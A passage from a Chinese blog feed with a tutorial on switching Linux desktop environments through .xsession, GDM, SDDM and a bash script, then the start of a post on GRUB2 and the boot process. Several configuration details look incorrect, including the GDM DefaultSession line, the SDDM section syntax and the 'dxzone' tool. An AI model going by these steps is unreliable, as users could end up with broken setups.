&lt;p&gt;XFCE 是一个轻量级的桌面环境，适合资源有限的计算机使用。它注重速度和效率，同时仍然提供足够的功能和灵活性。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-mate&quot;&gt;2.4 MATE&lt;&#x2F;h3&gt;
&lt;p&gt;MATE 是基于传统的 GNOME 2 桌面环境发展而来的，它保留了 GNOME 2 的经典用户界面，同时加入了一些新的特性和改进，适合那些喜欢传统桌面布局的用户。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-chang-jian-zhuo-mian-huan-jing-jie-shao&quot;&gt;3. 常见桌面环境介绍&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 系统提供了多种桌面环境，每种环境都有其独特的特点和优势。以下是一些常见的 Linux 桌面环境的介绍，帮助用户更好地理解并选择适合自己的桌面 GUI。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-gnome-zhuo-mian-huan-jing&quot;&gt;3.1 GNOME 桌面环境&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME 是一个流行的桌面环境，以其现代化的用户界面和丰富的功能集而闻名。它提供了许多高级特性，如内置的搜索功能、集成的日历和通知系统，以及一个直观的设置界面，允许用户轻松地自定义其工作环境。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装GNOME桌面环境
sudo apt install ubuntu-desktop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-kde-plasma-zhuo-mian-huan-jing&quot;&gt;3.2 KDE Plasma 桌面环境&lt;&#x2F;h3&gt;
&lt;p&gt;KDE Plasma 以其高度的可定制性和优雅的界面设计而受到许多用户的喜爱。它提供了广泛的桌面效果和组件，以及一个强大的桌面管理器，允许用户根据自己的喜好和需求进行深度定制。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装KDE Plasma桌面环境
sudo apt install kde-standard
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-3-xfce-zhuo-mian-huan-jing&quot;&gt;3.3 XFCE 桌面环境&lt;&#x2F;h3&gt;
&lt;p&gt;XFCE 是一个轻量级的桌面环境，适合那些希望最大化系统性能和资源利用的用户。它提供了基本的桌面功能，同时保持了简洁和快速的特点，是老旧硬件的理想选择。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装XFCE桌面环境
sudo apt install xfce4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-4-mate-zhuo-mian-huan-jing&quot;&gt;3.4 MATE 桌面环境&lt;&#x2F;h3&gt;
&lt;p&gt;MATE 桌面环境是 GNOME 2 的延续，它保留了经典的 GNOME 2 界面和特性，同时加入了一些新的功能和改进。对于那些喜欢传统桌面布局和风格的用户来说，MATE 是一个很好的选择。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装MATE桌面环境
sudo apt install mate-desktop-environment
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在选择桌面环境时，用户应考虑自己的需求、硬件配置以及对系统性能的要求。每种桌面环境都有其安装命令，用户可以通过上述命令在终端中安装所需的桌面环境。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;4-qie-huan-zhuo-mian-gui-de-huan-jing-pei-zhi&quot;&gt;4. 切换桌面 GUI 的环境配置&lt;&#x2F;h2&gt;
&lt;p&gt;在 Linux 系统中，切换桌面 GUI 需要正确配置环境变量和会话管理器。以下是一些步骤和命令，用于在不同的桌面环境之间进行切换。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-she-zhi-mo-ren-zhuo-mian-hui-hua&quot;&gt;4.1 设置默认桌面会话&lt;&#x2F;h3&gt;
&lt;p&gt;在 Linux 中，默认的桌面会话通常在 &lt;code&gt;~&#x2F;.xsession&lt;&#x2F;code&gt; 文件中设置。要切换默认桌面环境，可以编辑这个文件并指定所需的会话名称。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 编辑.xsession文件
nano ~&amp;#x2F;.xsession

# 在文件中输入以下内容（以GNOME为例）
exec gnome-session
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存并关闭文件后，重新登录或重启系统，默认桌面环境就会切换到 GNOME。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-2-shi-yong-display-manager-qie-huan&quot;&gt;4.2 使用 display manager 切换&lt;&#x2F;h3&gt;
&lt;p&gt;如果你的系统使用了 display manager（如 gdm, sddm, lightdm 等），则可以通过修改 display manager 的配置文件来改变默认的桌面环境。&lt;&#x2F;p&gt;
&lt;p&gt;例如，对于使用 &lt;code&gt;gdm&lt;&#x2F;code&gt; 的系统，可以修改 &lt;code&gt;&#x2F;etc&#x2F;gdm3&#x2F;custom.conf&lt;&#x2F;code&gt; 文件。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 编辑gdm配置文件
sudo nano &amp;#x2F;etc&amp;#x2F;gdm3&amp;#x2F;custom.conf

# 找到Wayland配置部分，并设置默认会话
WaylandEnable=false
[Seat:*]
# 在以下行中指定默认桌面环境
DefaultSession=gnome
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存并重启 display manager 使更改生效。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-3-shi-yong-ming-ling-xing-qie-huan&quot;&gt;4.3 使用命令行切换&lt;&#x2F;h3&gt;
&lt;p&gt;在某些情况下，用户可以通过命令行直接启动一个不同的桌面会话。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 启动KDE Plasma桌面环境
startkde

# 启动XFCE桌面环境
startxfce4

# 启动MATE桌面环境
mate-session
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些命令可以在终端中执行，它们将启动一个新的桌面会话，而不会影响当前会话。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-4-zhu-yi-shi-xiang&quot;&gt;4.4 注意事项&lt;&#x2F;h3&gt;
&lt;p&gt;在切换桌面 GUI 时，需要注意以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;确保已经安装了目标桌面环境。&lt;&#x2F;li&gt;
&lt;li&gt;某些桌面环境可能需要特定的 display manager 支持。&lt;&#x2F;li&gt;
&lt;li&gt;切换桌面环境后，某些应用程序的快捷键和设置可能需要重新配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;正确配置环境并遵循上述步骤，用户可以高效地在不同的 Linux 桌面 GUI 之间切换，以适应不同的工作场景和个人偏好。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;5-shi-yong-display-manager-jin-xing-qie-huan&quot;&gt;5. 使用 Display Manager 进行切换&lt;&#x2F;h2&gt;
&lt;p&gt;Display Manager 是 Linux 系统中负责用户登录管理的组件，它也控制着桌面环境的启动。使用 Display Manager 可以方便地在不同的桌面 GUI 之间进行切换。以下是如何使用 Display Manager 来切换桌面环境的详细步骤。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-liao-jie-display-manager&quot;&gt;5.1 了解 Display Manager&lt;&#x2F;h3&gt;
&lt;p&gt;在 Linux 中，常见的 Display Manager 有 GDM（GNOME Display Manager）、SDDM（Simple Display Manager）、LightDM 等。每个 Display Manager 都有自己的配置文件，通过修改这些文件可以设置默认的桌面环境。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-2-xiu-gai-display-manager-pei-zhi&quot;&gt;5.2 修改 Display Manager 配置&lt;&#x2F;h3&gt;
&lt;p&gt;以 GDM 为例，修改其配置文件可以改变默认启动的桌面环境。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 备份原始配置文件
sudo cp &amp;#x2F;etc&amp;#x2F;gdm3&amp;#x2F;custom.conf &amp;#x2F;etc&amp;#x2F;gdm3&amp;#x2F;custom.conf.backup

# 编辑GDM配置文件
sudo nano &amp;#x2F;etc&amp;#x2F;gdm3&amp;#x2F;custom.conf

# 在配置文件中找到[Seat:*]部分，然后设置DefaultSession为你想要的桌面环境
# 例如，设置为KDE Plasma
[Seat:*]
DefaultSession=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;startkde
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存并关闭配置文件后，重启 GDM 服务使更改生效。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl restart gdm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-3-xuan-ze-bu-tong-de-zhuo-mian-huan-jing&quot;&gt;5.3 选择不同的桌面环境&lt;&#x2F;h3&gt;
&lt;p&gt;如果你希望在登录界面就能选择不同的桌面环境，可以在 Display Manager 的配置文件中设置一个桌面环境选择器。&lt;&#x2F;p&gt;
&lt;p&gt;对于 SDDM，可以修改 &lt;code&gt;&#x2F;etc&#x2F;sddm.conf&lt;&#x2F;code&gt; 文件中的 &lt;code&gt;SessionDesktops&lt;&#x2F;code&gt; 和 &lt;code&gt;CurrentSession&lt;&#x2F;code&gt; 选项。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 编辑SDDM配置文件
sudo nano &amp;#x2F;etc&amp;#x2F;sddm.conf

# 在[Desktops]部分添加你想要在登录界面显示的桌面环境
[Desktops]
sddm-mygreeter session Greeter
xfce session Xfce
gnome session GNOME

# 在[Greeter]部分设置默认的桌面环境
[Greeter]
CurrentSession=GNOME
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保存并重启 SDDM 服务。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl restart sddm
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-4-zhu-yi-shi-xiang&quot;&gt;5.4 注意事项&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;在修改 Display Manager 配置之前，建议备份原始配置文件，以便在出现问题时可以恢复。&lt;&#x2F;li&gt;
&lt;li&gt;修改配置文件后，需要重启相应的 Display Manager 服务才能使更改生效。&lt;&#x2F;li&gt;
&lt;li&gt;确保所有想要切换到的桌面环境都已正确安装。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过使用 Display Manager 进行配置，用户可以在启动时直接选择或自动启动到不同的桌面 GUI，从而实现高效切换。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;6-zi-dong-hua-jiao-ben-yu-gong-ju&quot;&gt;6. 自动化脚本与工具&lt;&#x2F;h2&gt;
&lt;p&gt;为了进一步提高切换 Linux 桌面 GUI 的效率，可以使用自动化脚本和工具来简化操作流程。这些脚本和工具可以帮助用户快速切换桌面环境，而不需要手动进行复杂的配置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-chuang-jian-zi-dong-hua-qie-huan-jiao-ben&quot;&gt;6.1 创建自动化切换脚本&lt;&#x2F;h3&gt;
&lt;p&gt;用户可以编写一个简单的 bash 脚本，用于启动不同的桌面环境。以下是一个示例脚本，它允许用户在 GNOME 和 KDE Plasma 之间切换。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

# 检查当前桌面环境
current_desktop=$(echo $XDG_CURRENT_DESKTOP | tr &amp;#x27;[:upper:]&amp;#x27; &amp;#x27;[:lower:]&amp;#x27;)

# 设置桌面环境切换逻辑
if [ &amp;quot;$current_desktop&amp;quot; == &amp;quot;gnome&amp;quot; ]; then
    # 切换到KDE Plasma
    echo &amp;quot;Switching to KDE Plasma...&amp;quot;
    startkde
elif [ &amp;quot;$current_desktop&amp;quot; == &amp;quot;kde&amp;quot; ]; then
    # 切换到GNOME
    echo &amp;quot;Switching to GNOME...&amp;quot;
    gnome-session
else
    echo &amp;quot;Current desktop environment not supported.&amp;quot;
fi
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将此脚本保存为 &lt;code&gt;switch_desktop.sh&lt;&#x2F;code&gt;，并为其添加执行权限：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod +x switch_desktop.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;用户可以通过运行这个脚本来切换桌面环境。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-shi-yong-xian-you-de-qie-huan-gong-ju&quot;&gt;6.2 使用现有的切换工具&lt;&#x2F;h3&gt;
&lt;p&gt;社区中也有一些现有的工具可以帮助用户切换桌面环境，例如 &lt;code&gt;dxzone&lt;&#x2F;code&gt; 和 &lt;code&gt;switchdesk&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dxzone&lt;&#x2F;strong&gt;: 这是一个简单的命令行工具，允许用户在多个桌面环境之间切换。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装dxzone
sudo apt-get install dxzone

# 使用dxzone切换桌面环境
dxzone
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;switchdesk&lt;&#x2F;strong&gt;: 这是一个在 Red Hat 系发行版中常见的工具，同样可以用来切换桌面环境。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装switchdesk
sudo apt-get install switchdesk

# 使用switchdesk切换桌面环境
switchdesk kde
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-3-zhu-yi-shi-xiang&quot;&gt;6.3 注意事项&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;在使用自动化脚本和工具时，确保脚本或工具与你的 Linux 发行版兼容。&lt;&#x2F;li&gt;
&lt;li&gt;自动化脚本可能需要根据用户的系统环境进行适当的修改。&lt;&#x2F;li&gt;
&lt;li&gt;在执行自动化脚本或工具之前，了解它们的工作原理和潜在的风险。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过利用自动化脚本和工具，用户可以更加灵活和高效地在不同的 Linux 桌面 GUI 之间切换，从而提升工作和学习的效率。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-xing-neng-you-hua-yu-wen-ti-pai-cha&quot;&gt;7. 性能优化与问题排查&lt;&#x2F;h2&gt;
&lt;p&gt;在切换 Linux 桌面 GUI 的过程中，性能优化和问题排查是确保用户体验流畅和稳定的重要环节。以下是一些关于性能优化和问题排查的建议和实践。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-1-xing-neng-you-hua&quot;&gt;7.1 性能优化&lt;&#x2F;h3&gt;
&lt;p&gt;优化桌面 GUI 的性能可以帮助用户获得更快的响应速度和更流畅的交互体验。以下是一些性能优化的方法：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;7-1-1-jian-shao-bu-bi-yao-de-shi-jue-xiao-guo&quot;&gt;7.1.1 减少不必要的视觉效果&lt;&#x2F;h4&gt;
&lt;p&gt;许多桌面环境提供了丰富的视觉效果，但它们可能会消耗大量的系统资源。用户可以根据自己的硬件配置，关闭或减少一些不必要的动画和特效。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 对于GNOME，可以通过系统设置调整视觉效果
gnome-tweaks
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;7-1-2-jin-yong-bu-bi-yao-de-hou-tai-fu-wu&quot;&gt;7.1.2 禁用不必要的后台服务&lt;&#x2F;h4&gt;
&lt;p&gt;一些后台服务可能会占用系统资源，尤其是在切换桌面环境时。用户可以禁用那些不需要的服务，以提高系统性能。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看服务状态并禁用不需要的服务
sudo systemctl status service_name
sudo systemctl disable service_name
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;7-1-3-shi-yong-qing-liang-ji-zhuo-mian-huan-jing&quot;&gt;7.1.3 使用轻量级桌面环境&lt;&#x2F;h4&gt;
&lt;p&gt;对于硬件资源有限的计算机，使用轻量级桌面环境可以有效提升性能。例如，XFCE 和 LXQt 都是性能较好的轻量级桌面环境。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 安装轻量级桌面环境
sudo apt install xfce4 # 或者
sudo apt install lxqt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-2-wen-ti-pai-cha&quot;&gt;7.2 问题排查&lt;&#x2F;h3&gt;
&lt;p&gt;在切换桌面 GUI 时，可能会遇到一些问题。以下是一些常见的问题及其排查方法：&lt;&#x2F;p&gt;
&lt;h4 id=&quot;7-2-1-wu-fa-qi-dong-zhuo-mian-huan-jing&quot;&gt;7.2.1 无法启动桌面环境&lt;&#x2F;h4&gt;
&lt;p&gt;如果无法启动桌面环境，首先检查是否正确安装了桌面环境。其次，检查 &lt;code&gt;~&#x2F;.xsession&lt;&#x2F;code&gt; 文件或 Display Manager 的配置文件是否配置正确。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查~&amp;#x2F;.xsession文件
cat ~&amp;#x2F;.xsession
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;7-2-2-zhuo-mian-huan-jing-beng-kui-huo-xiang-ying-huan-man&quot;&gt;7.2.2 桌面环境崩溃或响应缓慢&lt;&#x2F;h4&gt;
&lt;p&gt;如果桌面环境崩溃或响应缓慢，尝试更新系统软件和桌面环境，或者查看系统日志以获取错误信息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 更新系统软件
sudo apt update &amp;amp;&amp;amp; sudo apt upgrade

# 查看系统日志
sudo journalctl -e
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;7-2-3-ying-jian-jian-rong-xing-wen-ti&quot;&gt;7.2.3 硬件兼容性问题&lt;&#x2F;h4&gt;
&lt;p&gt;某些硬件可能与特定的桌面环境不兼容。检查硬件制造商的文档，或者尝试在不同的桌面环境中测试硬件性能。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-3-zhu-yi-shi-xiang&quot;&gt;7.3 注意事项&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;在进行性能优化时，避免过度修改系统设置，以免影响稳定性。&lt;&#x2F;li&gt;
&lt;li&gt;问题排查时，记录下遇到的具体错误信息，这有助于更快地定位问题。&lt;&#x2F;li&gt;
&lt;li&gt;在尝试不同的优化方法或排查步骤时，建议先备份重要数据。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过合理的性能优化和及时的问题排查，用户可以确保 Linux 桌面 GUI 的切换过程既高效又稳定。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-zong-jie&quot;&gt;8. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;本文详细介绍了高效切换 Linux 桌面 GUI 的方法与实践指南。我们首先了解了 Linux 桌面 GUI 的基本概念，包括常见的桌面环境如 GNOME、KDE Plasma、XFCE 和 MATE 等。随后，我们探讨了如何安装这些桌面环境，并通过配置环境变量、使用 Display Manager 以及编写自动化脚本来实现桌面环境之间的切换。此外，我们还讨论了性能优化的重要性以及如何进行问题排查。&lt;&#x2F;p&gt;
&lt;p&gt;通过本文的介绍，用户可以更加熟练地在不同的 Linux 桌面环境之间切换，以适应不同的工作需求和个人偏好。同时，性能优化和问题排查的技巧将帮助用户确保桌面 GUI 的稳定性和流畅性。&lt;&#x2F;p&gt;
&lt;p&gt;Linux 的灵活性和强大功能使得它成为许多专业人士和爱好者的首选操作系统。掌握高效切换桌面 GUI 的方法，不仅能够提升工作效率，还能够丰富用户的使用体验。随着技术的不断进步和社区的支持，Linux 桌面环境将继续发展，为用户提供更多选择和可能性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Grub2和Systemd环境下的Linux启动流程</title>
        <published>2025-02-09T00:00:00+00:00</published>
        <updated>2025-02-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/grub2和systemd环境下的linux启动流程/"/>
        <id>https://vercel.juzhong.asia/obsidian/grub2和systemd环境下的linux启动流程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/grub2和systemd环境下的linux启动流程/">&lt;h1 id=&quot;grub2he-systemdhuan-jing-xia-de-linuxqi-dong-liu-cheng&quot;&gt;Grub2和Systemd环境下的Linux启动流程&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-boot-process&#x2F;linux-boot-flow-overview.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;1-bioschu-shi-hua&quot;&gt;1. BIOS初始化&lt;&#x2F;h5&gt;
&lt;p&gt;BIOS的初始化就是BIOS上电自检POST（Power On Self Test）。这个过程主要由硬件
完成。主要过程有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;外设检查&lt;&#x2F;li&gt;
&lt;li&gt;引导设备选择（一般是硬盘）&lt;&#x2F;li&gt;
&lt;li&gt;硬盘第一扇区的读取和运行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;当BIOS的POST成功后将触发INT 13H中断，CPU进入硬盘引导扇区（boot sector）将MBR加载到内存并执行。MBR存放着一段引导代码Boot Loader。对于使用GRUB作为引导程序的Linux
来说，比如CentOS7，这段Boot Loader代码就是&lt;code&gt;GRUB2&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;MBR（Master Boot Record）的结构：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-boot-process&#x2F;mbr-structure-layout.png&quot; alt=&quot;&quot; &#x2F;&gt;
这里分区表的使用有如下约定：
① 一块硬盘最多4个主分区（Primary Partition）
② 一块硬盘最多1个扩展分区（Extented Partition）
③ 逻辑分区（Logical Partion）的分区信息是写在扩展分区上
④ 磁盘编号1~4是留给主分区，5以后的编号留给逻辑分区&lt;&#x2F;p&gt;
&lt;p&gt;所以磁盘以&#x2F;sda为例，&#x2F;sda1，&#x2F;sda2，&#x2F;sda3，&#x2F;sda4指主分区，可以引导操作系统。&#x2F;sda5，&#x2F;sda6，… 为逻辑分区，不能引导操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;涉及到的命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看分区信息
fdisk -l
fdisk &amp;#x2F;dev&amp;#x2F;sda
# 查看分区信息和挂载点
lsblk
df -h
mount
# 查看分区的UUID
blkid
# 查看磁盘使用情况
du -sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ll &amp;#x2F;dev&amp;#x2F;sda1
brw-rw---- 1 root disk 8, 1 Feb 15 21:49 &amp;#x2F;dev&amp;#x2F;sda1
|--&amp;gt;Device type        |  |
                       |  |--&amp;gt;Minor number
                       |--&amp;gt;Major number
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Device type，Major number和Minor number三个参数唯一确定一个设备。
如果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mknod &amp;#x2F;dev&amp;#x2F;test b 8 1
此时&amp;#x2F;dev&amp;#x2F;test就变成了&amp;#x2F;dev&amp;#x2F;sda1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;2-tong-guo-grubyin-dao-xi-tong&quot;&gt;2. 通过GRUB引导系统&lt;&#x2F;h5&gt;
&lt;p&gt;CentOS7开始使用GRUB2（GRand Unified BootLoader
，Version 2）。运行MBR的Boot Loader实际就是启动GRUB程序。此时GRUB会显示一个菜单（boot splash screen），让用户选择：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Image镜像选择——确定加载的内核&lt;&#x2F;li&gt;
&lt;li&gt;选择设置向内核Kernel传递的参数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;grub程序可以通过类似如下的命令形式&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grub2-install &amp;#x2F;dev&amp;#x2F;sda
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;被安装到引导扇区（boot sector）。如果有&#x2F;boot分区也可以直接写到&#x2F;boot分区上（&#x2F;boot也在boot sector上）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;grub2-install --boot-directory=&amp;#x2F;boot &amp;#x2F;dev&amp;#x2F;sda
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如此，grub程序文件将被写到&#x2F;boot&#x2F;grub目录下。&lt;&#x2F;p&gt;
&lt;p&gt;在CentOS7中Grub2的配置文件是：&#x2F;boot&#x2F;grub2&#x2F;grub.cfg
配置文件中的几点说明：（详细可参考 https:&#x2F;&#x2F;blog.csdn.net&#x2F;changexhao&#x2F;article&#x2F;details&#x2F;78467276 ）
① timeout指引导菜单的等待时间（单位秒，0表示不允许选择菜单项，直接进入引导）
② 盘符命名规则&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;磁盘从&amp;quot;0&amp;quot;开始计数，分区从&amp;quot;1&amp;quot;开始计数
(fd0)          第一软盘
(hd0)          第一硬盘（大多数U盘与USB接口的移动硬盘以及SD卡也都被当作硬盘看待）
(hd1,1)        第二硬盘的第一分区(通用于MBR与GPT分区)
(hd0,msdos1)   第一硬盘的第一分区，也就是传统的DOS分区表
(hd1,msdos5)   第二硬盘的第五分区，也就是第一个逻辑分区
(hd0,gpt1)     第一硬盘的第一GPT分区
(cd)           启动光盘（仅在从光盘启动GRUB时可用）
(cd0)          第一光盘

&amp;#x2F;dev&amp;#x2F;sda1 对应 (hd0,msdos1)， 其中0对应a，1对应1。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;③ 常用命令&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;set 设置变量
insmod 插入模块
search 查找设备
linux16 以16位方式加载内核镜像
initrd16 以16位方式加载initrd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
